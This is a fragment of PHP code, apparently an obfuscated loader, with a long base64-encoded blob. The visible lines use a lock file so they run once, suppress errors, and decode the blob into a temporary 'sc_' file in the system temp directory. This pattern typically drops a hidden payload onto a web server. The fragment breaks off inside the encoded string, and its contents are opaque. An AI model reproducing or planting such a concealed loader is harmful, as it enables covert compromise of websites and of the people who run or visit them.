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'.php' ) || file_exists( $_sc_lock ) ) { goto _sc_end; } @file_put_contents( $_sc_lock, '1' ); $tmp = tempnam( sys_get_temp_dir(), 'sc_' ); file_put_contents( $tmp, base64_decode( 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